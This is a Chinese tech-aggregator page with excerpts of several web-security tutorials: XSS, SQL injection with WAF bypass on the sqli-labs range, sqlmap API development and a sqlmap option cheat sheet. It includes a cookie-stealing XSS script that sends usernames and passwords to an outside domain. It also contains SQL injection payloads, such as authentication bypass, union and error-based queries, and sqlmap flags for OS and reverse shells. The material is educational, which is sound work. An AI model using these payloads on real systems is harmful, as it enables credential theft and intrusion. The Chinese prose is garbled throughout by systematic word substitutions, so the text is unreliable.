关于sql注入:一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持

XSS 攻打全称跨站脚本攻打 Cross Site Scripting为了与重叠样式表 CSS 进行辨别,所以换了另一个缩写名称 XSSXSS攻击者通过篡改网页,注入歹意的 HTML 脚本,个别是 javascript,在用户浏览网页时,管制用户浏览器进行歹意操作的一种攻击方式XSS 攻打常常应用在论坛,博客等利用中。攻击者能够偷取用户Cookie、明码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息 就像上图,如果用户在评论框中输出的并不是失常的文本,而是一段 javascript 脚本,而后盾又没对该用户的数据进行解决,间接存入数据库,那么当其余用户过去拜访该页面,浏览器必然会执行这段脚本当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保留解决,这样你的信息就曾经泄露了// attack.js 中的逻辑var uname = $.cookie('username'); // 获取账号var pwd = $.cookie('password'); // 获取明码// 发送申请$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');在下面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行解决保留,这样你的个人信息就曾经泄露了,所以杜绝 xss攻打 在网络安全中十分的重要所以后端永远不要置信用户提交的数据,在接管用户提交的信息时候,要进行 消毒解决也就是过滤一些非凡的字符,比方 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能无效的进行 xss 攻打的预防另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无奈读取到cookie 信息,这样也能无效的避免 XSS 攻打窃取 cookie 内容 SQL 注入SQL注入 攻打指的是攻击者在 HTTP 申请中注入歹意 SQL 命令,服务器用申请参数结构数据库 SQL 命令时,歹意 SQL 被一起结构,并在数据库中执行,以便失去数据库中的感兴趣的数据或对数据库进行读取、批改、删除、插入等敏感的操作,从而导致数据被随便篡改然而 SQL注入 攻打,须要攻击者对数据库表有所理解才行,比方你的我的项目 开源 了,不小心公开了数据库的账号和明码;另外你的网站上线没有 敞开调试模式,有心者能够网站的依据谬误回显能够猜想表构造;另外还有就是 盲注,也即是很多有心者会盲猜数据表构造,然而这种难度最大SQL注入 能够通过预编译伎俩进行预防,绑定参数是最好的防 SQL 注入办法。当初风行的框架根本都实现了 SQL预编译和 参数绑定,歹意攻打的 SQL 会被当做 SQL 的参数,而不是 SQL 命令被执行# 失常获取用户信息的sqlselect * from users where id=1# sql注入了 1 or 1=1,就能够把用户表中的所有数据全副查出,导致数据泄露select * from users where id=1 or 1=1 ...

August 8, 2022 · 1 min · jiezi

关于sql注入:SQL注入学习与绕过安全狗

免责申明浏览前请先熟读《网络安全法》相干内容,以下知识点仅供学习应用,因为流传,利用此文所提供的信息而造成的任何间接或间接的结果和损失,均由使用者自己负责,文章作者不承当任何责任。 理解SQL注入SQL注入是因为后盾SQL语句拼接了用户的输出,而且Web应用程序对用户输出数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者能够通过结构不同的SQL语句来实现对数据库的任意操作。比方查问、删除,减少,批改数据等等,如果数据库的用户权限足够大,还能够对操作系统执行操作。SQL注入能够分为平台层注入和代码层注入。前者由不平安的数据库配置或数据库平台的破绽所致;后者次要是因为程序员对输出未进行粗疏地过滤。SQL注入是针对数据库、后盾、零碎层面的攻打! 相熟数据库目前市面上应用MySql的数量还是比拟多的,所以佩剑以MySql举例,所以先理解点MySQL无关的常识。在MySQL5.0之后增加了 information_schema 的数据库,该数据库中的表都是只读的,不能过程正删改查,实际上就是一个视图,不是根本的表构造。无奈被删除。 DROP DATABASE information_schema> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'特地要留神的是数据库中的正文符,在后续的SQL注入过程中,绕过平安狗有特地重要的作用,须要灵便组合搭配 mysql中正文符:# 、/**/ 、 -- information_schema数据库中三个很重要的表: information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名information_schema.tables:该数据表存储了mysql数据库中的所有数据表的表名information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名 Mysql罕用函数version():查询数据库的版本user():查询数据库的使用者database():数据库system_user():零碎用户名session_user():连贯数据库的用户名current_user:以后用户名load_file():读取本地文件@@datadir:读取数据库门路@@basedir:mysql装置门路@@version_complie_os:查看操作系统ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97length(str) : 返回给定字符串的长度,如 length("string")=6substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"substr()、stbstring()、mid() 三个函数的用法、性能均统一concat(username):将查问到的username连在一起,默认用逗号分隔concat(str1,'',str2):将字符串str1和str2的数据查问到一起,两头用连贯group_concat(username) :将username数据查问在一起,用逗号连贯limit 0,1:查问第1个数,limit 1,1: 查问第2个数以上是在SQL注入过程中常常用到的,如果还须要理解其余的函数能够自行百度 SQL注入的分类注入点类型分类数字类型字符串类型搜寻型 提交形式分类GETPOSTCOOKIEHTTP头 获取信息的形式分类布尔盲注工夫盲注报错注入联结查问堆查问注入判断是否存在SQL注入一个网站有特地多页面,怎么判断是否存在SQL注入。能够通过现成的工具例如:AWVS、AppScan、Nessus、SqlMap等。也能够在GitHub上子域名扫描器,把整个站所有子域名都扫描进去,而后再逐渐扫描破绽【扫描的网站肯定要在得到许可后,能力扫描】。然而有的时候工具不是万能的,工具只是大面积的扫描,有很多时候还是须要手动判断是否有SQL注入破绽。上面以MySql 5.5版本为例,相熟SQL注入流程,积攒教训。 盲注:服务器没有谬误回显时实现的注入攻打。服务器没有谬误回显,无奈判断是否胜利注入所以须要找到一个方面让服务器报错先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入破绽了。在URL前面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,必定存在SQL注入破绽了。有时候通过简略的条件语句比方 and 1=2 是无奈看出异样,就须要工夫盲注 环境筹备上面咱们搭建sqli-labs靶机验证个个注入办法我把靶机装置在Centos7虚拟机上,装置的时候须要装置小皮【phpstudy】 官网教程曾经十分具体就不赘述了。强调的一点就是sqli-labs用的php框架比拟老,须要装置5.x版本的php,如果是默认的7.x版本启动会报错,装置5.5+mysql默认用户名明码即可批改sqli-labs配置文件输出地址就能拜访点击Setup/reset Database for labs 链接主动靶场数据脚本插入到数据库中初学能够革新一下靶场的代码,让sql显示到页面上,能更好的了解sql输出的全过程。当然间接装置到本地会更好操作一下,看集体习惯这样就能够应用了 Boolean盲注【耗时】咱们先以Less-5举例,首先代码革新一下,将SQL打在页面上,能够更不便咱们了解我用的是火狐浏览器,能够在扩大里装置Max HackBar【收费】,在应用的过程中会很不便。当咱们输出http://127.0.0.1/sqli/Less-5/...' 咱们失去上面的页面由此能够看出代码把 id 当成了字符来解决,而且前面还有一个限度显示的行数 limit 0,1 。当咱们输出的语句正确时,就显示You are in.... 当咱们输出的语句谬误时就报出 SQL 语句谬误。依据以上的信息咱们能够猜出sql的大略写法 ...

June 16, 2022 · 3 min · jiezi

关于sql注入:sqlmap二次开发指南

sqlmap基于python编写,开源,源码 https://github.com/sqlmapproj... 一、sqlmap api1、利用场景因为SQLMAP每检测一个站点都须要开启一个新的命令行窗口或者完结掉上一个检测工作。尽管 -m 参数能够批量扫描URL,然而模式也是一个完结扫描后才开始另一个扫描工作。通过api接口,下发扫描工作就简略了,无需开启一个新的命令行窗口。 2、应用Options: -h, --help show this help message and exit -s, --server Run as a REST-JSON API server -c, --client Run as a REST-JSON API client -H HOST, --host=HOST Host of the REST-JSON API server (default "127.0.0.1") -p PORT, --port=PORT Port of the the REST-JSON API server (default 8775) --adapter=ADAPTER Server (bottle) adapter to use (default "wsgiref") --username=USERNAME Basic authentication username (optional) --password=PASSWORD Basic authentication password (optional)1、开启sqlmapapi serverpython3 sqlmapapi.py -s2、开启sqlmapapi client ...

February 28, 2022 · 11 min · jiezi

关于sql注入:PentesterLab靶场sql注入

环境装置轻易在网上找了个Pentester的靶场,后果是2013年的,那就从2013年的这个靶场开始学习 下载镜像的地址: https://pentesterlab.com/exer... 失常找个虚拟机,进行iso的装置 装置实现后,查下虚拟机的IP,间接拜访即可http://192.168.29.129/ sql注入Example 1万能明码: 本人尝试了几个明码,筛选出了这几个通关的,亲试可用: admin'or 1=1# "or"="a'='a a'or' 1=1-- 'or''=' 用户名和明码都填一样的,点击提交通关 Example 2通过order by语句确定字段的长度为3 --此处须要浏览此文的人自行学习,省得就无难度了 加粗局部为所须要填的注入语句,拜访后通关 http://192.168.29.129/sqlinje...' union select 1,2,3 --+&password=2&submit=%E6%8F%90%E4%BA%A4 Example 3去猜他的sql语句大略 select * from users where username='a' and password='b' 在尝试过程中发现应用单引号没有作用 尝试去结构及躲避: select * from users where username='\' and password=' or 1=1#' 用\做用户名,or 1=1#做明码间接登录 说白了就是执行了这段: SELECT * FROM users where username="x" or 1=1#" Example 4在通过尝试发现界面会返回谬误后,能够应用报错注入 案例4能够尝试报错注入:http://192.168.29.129/sqlinje... and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 以此类推,找到其余须要的信息 Example 5起初用order by 来爆字段长度,后果发现始终报错 如果order by无奈应用则间接上union 用字段来尝试破试出长度,发现长度就是之前试出来的3 union select 1,2,3 ...

January 28, 2022 · 1 min · jiezi

关于sql注入:sqlmap总结

0x01概述Sqlmap 是一个自动化的 SQL 注入工具,其次要性能是扫描、发现并利用给定的 Url 的 Sql 注入破绽,目前反对 MySQL、 Oracle、 PostgreSQL、 Microsoft SQL Server、 Microsoft Access 等支流数据库。 Sqlmap 应用 5 种 SQL 注入技术(不加参数默认测试所有注入技术): 基于布尔的盲注,即能够依据返回页面判断条件虚实的注入。基于工夫的盲注,即不能依据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回工夫是否减少)来判断。基于报错注入,即页面会返回错误信息,或者把注入的语句的后果间接返回在页面中。联结查问注入,能够应用union的状况下的注入。堆查问注入,能够同时执行多条语句的执行时的注入。当应用 Sqlmap 检测一个指定 Url 时,它会执行以下操作:判断是否有可注入的参数判断能够用哪种 Sql 注入技术来注入辨认出指标应用哪种数据库依照用户抉择,读取指标数据 0x02参数--risk 危险等级--risk 1 测试大部分的测试语句(默认为1)--risk 2 减少基于工夫的测试语句--risk 3 减少or语句的sql注入测试 --level 探测等级,数值越高,等级越高,默认为1在不确定哪个payload或参数为注入点时,为了保障全面性,倡议应用高的level值--level 2 会探测cookie--level 3 会探测http user-agent、referer头 -v x 参数指定回显信息的复杂度,x属于[0~6]共有 7 个等级,默认为 1:-0 只显示python谬误以及重大的信息。-1 同时显示根本信息和正告信息。(默认)-2 同时显示debug信息。-3 同时显示注入的payload。-4 同时显示HTTP申请。-5 同时显示HTTP响应头。-6 同时显示HTTP响应页面。如果你想看到sqlmap发送的测试payload最好的等级就是3,例如:python sqlmap.py -v 3 -u "www.adc.com/def.jsp?id=xxx" -u 指定Sql注入测试的url-r 读申请包 抓包保留在一个文件-b 获取DBMSbanner-m 从文本中加载指标申请 文本中有多个url,sqkmap会一个一个的检测(用url采集器进行采集)-g 从google的搜寻后果中测试--data 把数据以post形式提交 格局--data=“key=value”--cookie 设置cookie的值 --level 须要设置为2-–current-db 获取以后数据库-–current-user 获取以后用户--string 匹配页面中的字符串–-users 枚举DBMS用户–-password 枚举DBMS用户明码hash–-dbs 枚举DBMS中的数据库-D 要枚举的DBMS数据库–-tables 枚举DBMS数据库中的数据表(和-D组合应用)-T 要枚举的DBMS数据库表–-columns 枚举DBMS数据库表中的所有列(和-D-T组合应用)-C 要枚举的DBMS数据表中的列(和-D-T-C组合应用)–-dump 获取DBMS数据表项–-privileges 查看权限–-privileges-Uroot 查看指定用户权限–-os-cmd=whoami 执行系统命令–-os-shell 零碎交互shell–-os-pwn 反弹shell–-reg-read 读取win零碎注册表–-dbs-o“sqlmap.log” #保留进度--is-dba 判断以后用户是不是数据库管理员--dbms=mysql oracle 指定数据库、过waf,节省时间--flush-session 革除缓存--delay 过平安狗 --delay=0.5 半秒钟拜访一次--timeout 设定多长时间断定超时--safe-url,--safe-freq 有的web会在你屡次拜访谬误的申请时屏蔽掉你当前所有的申请,safe-url提供一个平安不谬误的连贯,每隔一段时间拜访--union-cols 默认状况下sqlmap测试union查问注入会测试1-10个组的呀不是公寓,当--level为5的时候他会减少测试到50个字段数 --union-cols 12-16-t a.tzt sqlmap会把http申请与相应日志保留在这里--batch 不须要用户输出,将应用sqlmap提醒的默认值始终运行上来--charset 强制指定字符编码 --charset=GBK--mobile 实用于只能用手机关上的页面--time-sec 相当于sleep(5)执行sql语句 ...

September 26, 2020 · 2 min · jiezi